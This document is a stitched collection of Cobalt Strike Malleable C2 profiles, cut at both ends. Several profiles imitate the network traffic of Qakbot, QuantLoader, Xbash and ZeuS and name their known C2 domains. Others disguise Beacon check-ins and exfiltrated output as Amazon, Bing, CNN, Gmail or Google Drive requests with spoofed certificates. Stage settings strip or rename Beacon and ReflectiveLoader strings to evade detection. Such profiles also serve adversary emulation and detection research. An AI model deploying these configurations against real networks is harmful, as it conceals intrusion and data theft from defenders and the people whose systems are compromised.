17 client {
18
19 header "Accept" "image/jpeg, application/*";
20 header "Referer" "http://www.bankofbotswana.bw/";
21 header "Accept-Encoding" "gzip, deflate";
22
23 # throw in a known bad malware domain
24 header "Host" "wilfredcostume.bamoon.com";
25
26 metadata {
27 netbios;
28 parameter "id";
29 }
30 }
31
32 server {
33 header "Server" "Apache/2.2.17 (Ubuntu)";
34 header "X-Powered-By" "PHP/5.3.5-1ubuntu7.8";
35 header "Content-Encoding" "gzip";
36 header "Content-Type" "text/html";
37
38 output {
39 print;
40 }
41 }
42 }
43
44 http-post {
45
46 set uri "/work/1.php";
47
48 client {
49
50 header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
51 header "Accept-Language" "en-US;q=0.5,en;q=0.3";
52 header "Accept-Encoding" "gzip, deflate";
53 header "Content-Type" "application/octet-stream";
54
55 id {
56 netbiosu;
57 parameter "sid";
58 }
59
60 output {
61 print;
62 }
63 }
64
65 server {
66
67 header "Server" "Apache/2.2.17 (Ubuntu)";
68 header "X-Powered-By" "PHP/5.3.5-1ubuntu7.8";
69 header "Content-Encoding" "gzip";
70 header "Content-Type" "text/html";
71
72 output {
73 print;
74 }
75 }
76 }
77
0 #qakbot - the return of qakbot!
1 #https://www.cylance.com/en_us/blog/threat-spotlight-the-return-of-qakbot-malware.html
2 #https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/
3 #xx0hcd
4
5
6 set sleeptime "30000";
7 set jitter "20";
8 set useragent "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)";
9 set dns_idle "8.8.8.8";
10 set maxdns "235";
11
12
13 http-get {
14
15 set uri "/TealeafTarget.php";
16
17 client {
18
19 header "Connection" "Keep-Alive";
20 header "Accept" "*/*";
21 header "Accept-Language" "en-us";
22 #header "Cookie" "47952628-ffb7-43db-b880-d727751";
23 header "Host" "projects.montgomerytech.com";
24
25
26 metadata {
27 base64url;
28 header "Cookie";
29
30
31 }
32
33 }
34
35 server {
36
37 header "Server" "nginx/1.12.0";
38 header "Date" "Thu, 04 May 2017 19:01:45 GMT";
39 header "Content-Type" "image/jpeg; charset=ISO-8859-1";
40 header "Content-Length" "925776";
41 header "Connection" "keep-alive";
42
43
44 output {
45 netbios;
46 print;
47 }
48 }
49 }
50
51 http-post {
52
53 set uri "/TeaLeafTarget.php";
54 #set verb "GET";
55
56 client {
57
58 header "Connection" "Keep-Alive";
59 header "Accept" "*/*";
60 header "Accept-Language" "en-us";
61 header "Host" "projects.montgomerytech.com";
62
63 output {
64 netbios;
65 print;
66
67
68 }
69
70
71 id {
72 base64url;
73 prepend "479526mGJ8-";
74 header "Cookie";
75
76
77 }
78 }
79
80 server {
81
82 header "Server" "nginx/1.12.0";
83 header "Date" "Thu, 04 May 2017 19:01:45 GMT";
84 header "Content-Type" "image/jpeg; charset=ISO-8859-1";
85 header "Content-Length" "925776";
86 header "Connection" "keep-alive";
87
88
89 output {
90 base64;
91 print;
92 }
93 }
94 }
95
96 http-stager {
97 server {
98 header "Server" "nginx/1.12.0";
99 header "Date" "Thu, 04 May 2017 19:01:45 GMT";
100 header "Content-Type" "image/jpeg; charset=ISO-8859-1";
101 header "Content-Length" "925776";
102 header "Connection" "keep-alive";
103
104 }
105
106
107 }
108 stage {
109 set compile_time "14 Jun 2016 11:56:42";
110 set userwx "false";
111 set image_size_x86 "458752";
112 }
0 #quantloader
1 #taken from - https://blog.malwarebytes.com/threat-analysis/2018/03/an-in-depth-malware-analysis-of-quantloader/ & https://www.hybrid-analysis.com/sample/2b53466eebd2c65f81004c567df9025ce68017241e421abcf33799bd3e827900?environmentId=120
2 #xx0hcd
3
4
5 set sleeptime "30000";
6 set jitter "20";
7 set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36";
8 set dns_idle "8.8.8.8";
9 set maxdns "235";
10
11
12 http-get {
13
14 set uri "/q2/index.php";
15
16 client {
17
18 header "Host" "wassronledorhad.in";
19
20
21 metadata {
22 netbios;
23 parameter "id";
24
25
26 }
27
28 parameter "c" "2";
29 parameter "mk" "75490e";
30 parameter "il" "H";
31 parameter "vr" "1.73";
32 parameter "bt" "64";
33
34 }
35
36 server {
37 header "Server" "nginx";
38 header "Content-Type" "text/html; charset=windows-1251";
39 header "Connection" "keep-alive";
40 header "Vary" "Accept-Encoding";
41
42
43 output {
44 netbios;
45 prepend " ";
46 prepend " ";
47 prepend "0";
48 print;
49 }
50 }
51 }
52
53 http-post {
54
55 set uri "/Q2/index.php";
56 set verb "GET";
57
58 client {
59
60 header "Host" "wassronledorhad.in";
61
62 output {
63 netbios;
64 parameter "id";
65
66 }
67
68 parameter "c" "3";
69
70 id {
71 netbios;
72 parameter "mk";
73
74
75 }
76
77 parameter "il" "H";
78 parameter "vr" "1.73";
79 parameter "bt" "64";
80
81 }
82
83 server {
84
85 header "Server" "nginx";
86 header "Content-Type" "text/html; charset=windows-1251";
87 header "Connection" "keep-alive";
88 header "Vary" "Accept-Encoding";
89
90
91 output {
92 netbios;
93 prepend " ";
94 prepend " ";
95 prepend "0";
96 print;
97 }
98 }
99 }
100
101 http-stager {
102
103 set uri_x86 "/q2/Index.php";
104 set uri_x64 "/Q2/Index.php";
105
106 client {
107 header "Host" "wassronledorhad.in";
108
109 parameter "id" "90942486";
110 parameter "c" "1";
111 parameter "mk" "75490e";
112 parameter "il" "H";
113 parameter "vr" "1.73";
114 parameter "bt" "64";
115 }
116
117 server {
118 header "Server" "nginx";
119 header "Content-Type" "text/html; charset=windows-1251";
120 header "Connection" "keep-alive";
121 header "Vary" "Accept-Encoding";
122
123 output {
124 prepend " ";
125 prepend " ";
126 prepend "0";
127 print;
128 }
129
130 }
131
132
133 }
134
135 stage {
136 set compile_time "11 Nov 2010 23:29:33";
137 set image_size_x86 "460800";
138 set image_size_x64 "460800";
139 transform-x86 {
140 strrep "beacon.dll" "wtsapi.dll";
141 }
142
143 transform-x64 {
144 strrep "beacon.x64.dll" "wtsapi32.dll";
145 }
146
147
148
149 }
0 #xbash malware profile
1 #https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/
2 #https://www.hybrid-analysis.com/sample/725efd0f5310763bc5375e7b72dbb2e883ad90ec32d6177c578a1c04c1b62054?environmentId=100
3 #sample = 725efd0f5310763bc5375e7b72dbb2e883ad90ec32d6177c578a1c04c1b62054 reg9.sct
4 #xx0hcd
5
6
7 set sleeptime "30000";
8 set jitter "20";
9 set useragent "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET4.0E; QQBrowser/7.0.3698.400)";
10 set dns_idle "8.8.8.8";
11 set maxdns "235";
12 set sample_name "xbash profile";
13
14 #prob not using ssl if testing malware traffic.
15 #https-certificate {
16 # set keystore "demo.store";
17 # set password "whateverpass";
18 #}
19
20
21 #prob have to change Host header to something legit depending on testing.
22 http-get {
23
24 set uri "/m.png";
25
26 client {
27
28 header "Host" "png.realtimenews.tk";
29 header "Connection" "Keep-Alive";
30
31
32 metadata {
33 base64;
34 prepend "__cfduid=";
35 header "Cookie";
36
37 }
38
39 }
40
41 server {
42
43 header "Server" "cloudflare";
44 header "Content-Type" "text/html; charset=utf-8";
45 header "Connection" "keep-alive";
46 header "Content-Security-Policy" "default-src 'none'; style-src 'unsafe-inline'; img-src data:; connect-src 'self'";
47 header "X-Github-Request-Id" "7184:5EA1:1693DD4:1EEFFEA:5B9FC138";
48 header "Via" "1.1 varnish";
49 header "X-Served-By" "cache-hhn1544-HHN";
50 header "X-Cache" "MISS";
51 header "X-Cache-Hits" "0";
52 header "CF-RAY" "45bc6f44849e9706-FRA";
53
54 #using newline ("\n") shows as a period (".") in c2lint, but looks correct in wireshark.
55 output {
56
57 base64;
58 prepend " <img width=\"32\" height=\"32\" title=\"\" alt=\"\" src=\"data:image/png;base64,\n";
59 prepend "<a href=\"/\" class=\"logo logo-img-1x\">\n";
60 prepend " <head>\n";
61 prepend "<html>\n";
62 prepend "<!DOCTYPE html>\n";
63 prepend "239c\n";
64 append "</a>\n";
65 append "</html>";
66 print;
67
68 }
69 }
70 }
71
72 http-post {
73
74 set uri "/domain/all";
75
76 client {
77
78 header "Host" "scan.censys.xyz";
79 header "Accept-Encoding" "identity";
80 header "Accept-Language" "en-US,en;q=0.8";
81 header "Accept" "*/*";
82 header "Accept-Charset" "ISO-8859-1,utf-8";
83 # header "Content-Type" "application/x-www-form-urlencoded; charset=UTF-8";
84
85 output {
86 base64;
87 prepend "__cfduid=";
88
89 header "Cookie";
90
91
92 }
93
94
95 id {
96 base64url;
97 parameter "c";
98
99 }
100 }
101
102 server {
103
104 header "Server" "cloudflare";
105 header "Content-Type" "text/html; charset=utf-8";
106 header "CF-RAY" "455f7b1280ac5368-MIA";
107
108
109 output {
110 netbios;
111 prepend "imusee.net";
112 prepend "iamnotthisold.net\n";
113 prepend "hsdoor.net\n";
114 prepend "ingramsoftware.net\n";
115 prepend "houjin-card.net\n";
116 prepend "huiego.net\n";
117 prepend "himanshutyagi.net\n";
118 prepend "innostudio.net\n";
119 prepend "herosandcons.net\n";
120 prepend "indigolightstudios.net\n";
121 prepend "huishubao.net\n";
122 prepend "1635\n";
123
124 print;
125 }
126 }
127 }
128
129 http-stager {
130
131 set uri_x86 "/port/tcp8080";
132 set uri_x64 "/cidir";
133
134 client {
135 header "Host" "png.realtimenews.tk";
136 header "Connection" "Keep-Alive";
137 }
138
139 server {
140 header "Server" "cloudflare";
141 header "Content-Type" "text/html; charset=utf-8";
142 header "CF-RAY" "455f7b1280ac5368-MIA";
143
144 }
145
146
147 }
148
149
150 stage {
151 set checksum "0";
152 set compile_time "12 Jun 2018 11:22:23";
153 set image_size_x86 "559966";
154 set image_size_x64 "559966";
155 }
156
157
0 #
1 # ZeuS Sample Profile
2 # client - https://malwr.com/analysis/NjIwNTU2ODA2OTUxNDcwNmJiMTMzYzk4YzU4NWQyZDQ/
3 # server - http://malware-traffic-analysis.net/2014/04/05/index.html
4 #
5 # Author: @harmj0y
6 #
7 set sample_name "ZeuS";
8
9 set sleeptime "30000";
10 set jitter "5";
11 set maxdns "255";
12 set useragent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)";
13
14 # Sample from: https://malshare.com/sample.php?action=detail&hash=1da10c6412b79fe8ffcbb5d1901144ee
15 stage {
16 # ./peclone 1da10c6412b79fe8ffcbb5d1901144ee
17 set checksum "0";
18 set compile_time "24 Mar 2011 07:36:23";
19 set entry_point "93589";
20 set rich_header "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
21 set stomppe "false";
22
23 # strings -e l 1da10c6412b79fe8ffcbb5d1901144ee
24 stringw "nspr4.dll";
25 stringw ".tmp";
26 stringw "DISPLAY";
27 stringw "SeShutdownPrivilege";
28 stringw "cGlobal\\%08X%08X%08X";
29 stringw "TSeTcbPrivilege";
30 stringw ".exe";
31 stringw "SOFTWARE\\Microsoft";
32 stringw "SysListView32";
33 stringw "MDIClient";
34 stringw "CiceroUIWndFrame";
35 stringw "ConsoleWindowClass";
36 stringw "#32768";
37 stringw "SysShadow";
38 stringw "e.dat";
39 stringw "kernel32.dll";
40 stringw "\"%s\"";
41 stringw "\"%s\" %s";
42 stringw "/c \"%s\"";
43 stringw "ComSpec";
44 stringw "S:(ML;;NRNWNX;;;LW)";
45 stringw "SeSecurityPrivilege";
46 stringw "S:(ML;CIOI;NRNWNX;;;LW)";
47 stringw "Global\\";
48 stringw "Local\\";
49 stringw "%s%08x.%s";
50 stringw "%s%08x";
51
52 # strings 1da10c6412b79fe8ffcbb5d1901144ee
53 string "del \"%s\"";
54 string "if exist \"%s\" goto d";
55 string "@echo off";
56 string "del /F \"%s\"";
57
58 # get rid of some standard Cobalt Strike stuff.
59 transform-x86 {
60 strrep "beacon.dll" "";
61 strrep "ReflectiveLoader" "";
62 }
63
64 transform-x64 {
65 strrep "beacon.x64.dll" "";
66 strrep "ReflectiveLoader" "";
67 }
68 }
69
70 http-get {
71
72 set uri "/metro91/admin/1/ppptp.jpg";
73
74 client {
75
76 header "Accept" "*/*";
77 header "Connection" "Close";
78
79 # throw in a known/old Zeus C2 domain
80 header "Host" "mahamaya1ifesciences.com";
81 header "Cache-Control" "no-cache";
82
83 metadata {
84 base64;
85 header "Cookie";
86 }
87 }
88
89 server {
90 header "Server" "nginx/1.0.4";
91 header "Content-Type" "text/html";
92 header "Connection" "close";
93 header "X-Powered-By" "PHP/5.3.8-1~dotdeb.2";
94
95 output {
96 print;
97 }
98 }
99 }
100
101 http-post {
102
103 set uri "/metro91/admin/1/secure.php";
104
105 client {
106
107 header "Accept" "*/*";
108 header "Connection" "Keep-Alive";
109
110 # throw in a known/old Zeus C2 domain
111 header "Host" "mahamaya1ifesciences.com";
112 header "Cache-Control" "no-cache";
113
114 id {
115 netbios;
116 parameter "id";
117 }
118
119 output {
120 print;
121 }
122 }
123
124 server {
125 header "Server" "nginx/1.0.4";
126 header "Content-Type" "text/html";
127 header "Connection" "close";
128 header "X-Powered-By" "PHP/5.3.8-1~dotdeb.2";
129
130 output {
131 print;
132 }
133 }
134 }
135
0 #
1 # Amazon browsing traffic profile
2 #
3 # Author: @harmj0y
4 #
5
6 set sleeptime "5000";
7 set jitter "0";
8 set maxdns "255";
9 set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
10
11 http-get {
12
13 set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
14
15 client {
16
17 header "Accept" "*/*";
18 header "Host" "www.amazon.com";
19
20 metadata {
21 base64;
22 prepend "session-token=";
23 prepend "skin=noskin;";
24 append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
25 header "Cookie";
26 }
27 }
28
29 server {
30
31 header "Server" "Server";
32 header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
33 header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
34 header "X-Frame-Options" "SAMEORIGIN";
35 header "Content-Encoding" "gzip";
36
37 output {
38 print;
39 }
40 }
41 }
42
43 http-post {
44
45 set uri "/N4215/adj/amzn.us.sr.aps";
46
47 client {
48
49 header "Accept" "*/*";
50 header "Content-Type" "text/xml";
51 header "X-Requested-With" "XMLHttpRequest";
52 header "Host" "www.amazon.com";
53
54 parameter "sz" "160x600";
55 parameter "oe" "oe=ISO-8859-1;";
56
57 id {
58 parameter "sn";
59 }
60
61 parameter "s" "3717";
62 parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";
63
64 output {
65 base64;
66 print;
67 }
68 }
69
70 server {
71
72 header "Server" "Server";
73 header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
74 header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
75 header "X-Frame-Options" "SAMEORIGIN";
76 header "x-ua-compatible" "IE=edge";
77
78 output {
79 print;
80 }
81 }
82 }
0 #
1 # Bing Web Search
2 #
3 # Author: @bluscreenofjeff
4 #
5
6 https-certificate {
7 set CN "www.bing.com";
8 set O "Microsoft Corporation";
9 set C "US";
10 set L "Redmond";
11 set OU "Microsoft IT";
12 set ST "WA";
13 set validity "365";
14 }
15
16 set sleeptime "60000";
17 set jitter "20";
18 set useragent "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";
19 set dns_idle "8.8.4.4";
20 set maxdns "235";
21
22 http-get {
23
24 set uri "/search/";
25
26 client {
27
28 header "Host" "www.bing.com";
29 header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
30 header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";
31
32 metadata {
33 base64url;
34 parameter "q";
35 }
36
37 parameter "go" "Search";
38 parameter "qs" "bs";
39 parameter "form" "QBRE";
40
41
42 }
43
44 server {
45
46 header "Cache-Control" "private, max-age=0";
47 header "Content-Type" "text/html; charset=utf-8";
48 header "Vary" "Accept-Encoding";
49 header "Server" "Microsoft-IIS/8.5";
50 header "Connection" "close";
51
52
53 output {
54 netbios;
55 prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA[";
56 append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
57 print;
58 }
59 }
60 }
61
62 http-post {
63
64 set uri "/Search/";
65 set verb "GET";
66
67 client {
68
69 header "Host" "www.bing.com";
70 header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
71 header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";
72
73 output {
74 base64url;
75 parameter "q";
76 }
77
78 parameter "go" "Search";
79 parameter "qs" "bs";
80
81 id {
82 base64url;
83 parameter "form";
84 }
85 }
86
87 server {
88
89 header "Cache-Control" "private, max-age=0";
90 header "Content-Type" "text/html; charset=utf-8";
91 header "Vary" "Accept-Encoding";
92 header "Server" "Microsoft-IIS/8.5";
93 header "Connection" "close";
94
95
96 output {
97 netbios;
98 prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA[";
99 append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
100 print;
101 }
102 }
103 }
104
105 http-stager {
106 server {
107 header "Cache-Control" "private, max-age=0";
108 header "Content-Type" "text/html; charset=utf-8";
109 header "Vary" "Accept-Encoding";
110 header "Server" "Microsoft-IIS/8.5";
111 header "Connection" "close";
112 }
113 }
0 #
1 # CNN Video
2 #
3 # Author: @bluscreenofjeff
4 #
5
6 #set https cert info
7 # CNN doesnt have real cert, guessed details
8 https-certificate {
9 set CN "www.cnn.com"; #Common Name
10 set O "Turner Broadcasting System Inc"; #Organization Name
11 set C "US"; #Country
12 set L "Atlanta"; #Locality
13 set OU "MSS (Media Software & Services)"; #Organizational Unit Name
14 set ST "GA"; #State or Province
15 set validity "365"; #Number of days the cert is valid for
16 }
17
18 #default Beacon sleep duration and jitter
19 set sleeptime "60000";
20 set jitter "20";
21
22 #default useragent for HTTP comms
23 set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
24
25 #IP address used to indicate no tasks are available to DNS Beacon
26 set dns_idle "8.8.4.4";
27
28 #Force a sleep prior to each individual DNS request. (in milliseconds)
29 set dns_sleep "0";
30
31 #Maximum length of hostname when uploading data over DNS (0-255)
32 set maxdns "235";
33
34 http-get {
35
36 set uri "/cnn/cnnx/dai/hds/stream_hd/1/cnnxlive1_4.bootstrap";
37
38 client {
39
40 header "Host" "phds-live.cdn.turner.com";
41 header "X-Requested-With" "ShockwaveFlash/24.0.0.186";
42 header "Referer" "http://go.cnn.com/?stream=cnn&sr=watchHPbutton";
43
44 #session metadata
45 metadata {
46 base64url;
47 parameter "g";
48 }
49
50 parameter "hdcore" "3.4.1";
51 parameter "plugin" "aasp-3.4.1.1.1";
52 }
53
54
55 server {
56
57
58 header "Server" "ngx_openresty";
59 header "Content-Type" "application/octet-stream";
60 header "ETag" "dbbece0334279b5bfbf88c27bda56444";
61 header "Cache-Control" "max-age=1";
62 header "Connection" "keep-alive";
63
64 #Beacon's tasks
65 output {
66
67 print;
68 }
69 }
70 }
71
72 http-post {
73
74 set uri "/cnn/cnnx/dai/hds/stream_hd/2/cnnxlive1_4.bootstrap";
75 set verb "GET";
76
77 client {
78
79 header "Host" "phds-live.cdn.turner.com";
80 header "X-Requested-With" "ShockwaveFlash/24.0.0.186";
81
82
83 #session ID
84 id {
85 base64url;
86 prepend "http://go.cnn.com/?stream=cnn&sr=watchHPbutton&token=";
87 header "Referer";
88 }
89
90 #Beacon's responses
91 output {
92 base64url;
93 parameter "g";
94 }
95
96 parameter "hdcore" "3.4.1";
97 parameter "plugin" "aasp-3.4.1.1.1";
98 }
99
100 server {
101
102 header "Server" "ngx_openresty";
103 header "Content-Type" "application/octet-stream";
104 header "ETag" "dbbece0334279b5bfbf88c27bda56444";
105 header "Cache-Control" "max-age=1";
106 header "Connection" "keep-alive";
107
108 #empty
109 output {
110 print;
111 }
112 }
113 }
114
115 #change the stager server
116 http-stager {
117 server {
118 header "Content-Type" "application/octet-stream";
119 }
120 }
0 # Make requests look like GMail web requests
1 #
2 # Author: @ChrisTruncer
3
4 https-certificate {
5 set CN "gmail.com";
6 set O "Google GMail";
7 set C "US";
8 set L "Mountain View";
9 set OU "Google Mail";
10 set ST "CA";
11 set validity "365";
12 }
13
14 set sleeptime "60000";
15 set pipename "interprocess_##";
16 set spawnto "userinit.exe";
17 set jitter "15";
18 set dns_idle "8.8.4.4";
19
20 http-get {
21 set uri "/_/scs/mail-static/_/js/";
22 client {
23
24 metadata {
25 base64;
26 prepend "OSID=";
27 header "Cookie";
28 }
29
30 header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
31 header "Accept-Language" "en-US,en;q=0.5";
32 header "Accept-Encoding" "gzip, deflate";
33 header "DNT" "1";
34 }
35
36 server {
37 header "X-Content-Type-Options" "nosniff";
38 header "X-Frame-Options" "SAMEORIGIN";
39 header "Cache-Control" "public, max-age=31536000";
40 header "X-XSS-Protection" "1; mode=block";
41 header "Server" "GSE";
42 header "Alternate-Protocol" "443:quic,p=1";
43
44 output{
45 prepend "try(";
46 prepend "O(L.Oa(),\"sy580\")";
47 prepend "N(L.Oa(),\"sy580\");P(L.Oa(),\"sy580\");";
48 prepend ")catch(e)(_DumpException(e))";
49 prepend "try(";
50 prepend "O(L.Oa(),\"sy558\");";
51 prepend "N(L.Oa(),\"sy558\");P(L.Oa(),\"sy558\");";
52 prepend ")catch(e)(_DumpException(e))";
53 prepend "try(";
54
55 append "var f2=function(a)(a=a.wa;return\"application/chromium-bookmark-folder\"==a||\"application/chromium-root-folder\"==a||\"application/vnd.google-apps.folder\"==a||\"application/vnd.google-apps.photoalbum\"==a||\"application/vnd.google-apps.rollupphotoalbum\"==a)";
56 append ",g2=function(a)(return a.ra),s8d=function(a)(return a?hb(a,function(a)(return new UP(a)):[]),h2=function(a)(switch(a)(case \"all\":case \"docs-images\":case \"docs-images-and-videos\":case \"docs-videos\":case \"documents\":case \"drawings\":case \"folders\":case \"forms\":case \"pdfs\":case \"presentations\":case \"sites\":case \"spreadsheets\":case \"tables\":return!0)return!1); O(L.Oa(),\"sy588\")";
57
58 print;
59
60 }
61 }
62 }
63
64 http-post {
65 set uri "/mail/u/0/";
66 client {
67 parameter "ui" "d3244c4707";
68 parameter "hop" "6928632";
69 parameter "start" "0";
70 header "Content-Type" "application/x-www-form-urlencoded;charset=utf-8";
71
72 id {
73 base64;
74 prepend "OSID=";
75 header "Cookie";
76 }
77
78 output{
79 base64;
80 print;
81 }
82 }
83
84 server {
85 header "X-Content-Type-Options" "nosniff";
86 header "X-Frame-Options" "SAMEORIGIN";
87 header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
88 header "X-XSS-Protection" "1; mode=block";
89 header "Server" "GSE";
90
91 output {
92
93 prepend "[[[\"apm\",\"";
94
95 append "\"]";
96 append ",[\"ci\",[]";
97 append "]";
98 append ",[\"cm\",[]";
99 append ",[]";
100 append "]";
101 append "],'dbb8796a80d45e1f']";
102
103 print;
104 }
105
106 }
107 }
0 #
1 # Google Drive
2 #
3 # Author: @bluscreenofjeff
4 #
5
6 #set https cert info
7 https-certificate {
8 set CN "*.google.com"; #Common Name
9 set O "Google Inc"; #Organization Name
10 set C "US"; #Country
11 set L "Mountain View"; #Locality
12 set ST "California"; #State or Province
13 set validity "365"; #Number of days the cert is valid for
14 }
15
16 #default Beacon sleep duration and jitter
17 set sleeptime "60000";
18 set jitter "20";
19
20 #default useragent for HTTP comms
21 set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
22
23 #IP address used to indicate no tasks are available to DNS Beacon
24 set dns_idle "8.8.4.4";
25
26 #Force a sleep prior to each individual DNS request. (in milliseconds)
27 set dns_sleep "0";
28
29 #Maximum length of hostname when uploading data over DNS (0-255)
30 set maxdns "235";
31
32 http-get {
33
34 set uri "/viewerng/meta";
35
36 client {
37
38 header "Accept" "text/html,application/xml;*/*;";
39 header "Accept-Encoding" "gzip, deflate";
40 header "Host" "drive.google.com";
41 header "Cookie" "SID=KsY0f3fxIeBLQRn2wHMhgJvTkFbWZIEqNyABgX_nveBtm9LeEmsHn6I9OmYzpw;";
42
43 #session metadata
44 metadata {
45 base64url;
46 netbios;
47 base64url;
48 parameter "id";
49 }
50
51 parameter "u" "0";
52 }
53
54 server {
55 header "Content-Type" "application/json; charset=utf-8";
56 header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
57 header "Pragma" "no-cache";
58 header "Content-Disposition" "attachment; filename=\"json.txt\"; filename*=UTF-8''json.txt";
59 header "X-Content-Type-Options" "nosniff";
60 header "X-Frame-Options" "SAMEORIGIN";
61 header "X-XSS-Protection" "1; mode=block";
62 header "Server" "GSE";
63 header "Connection" "close";
64
65
66 #Beacon's tasks
67 output {
68 print;
69 }
70 }
71 }
72
73 http-post {
74
75 set uri "/viewersng/meta";
76 set verb "GET";
77
78 client {
79
80 header "Accept" "text/html,application/xml;*/*;";
81 header "Accept-Encoding" "gzip, deflate";
82 header "Host" "drive.google.com";
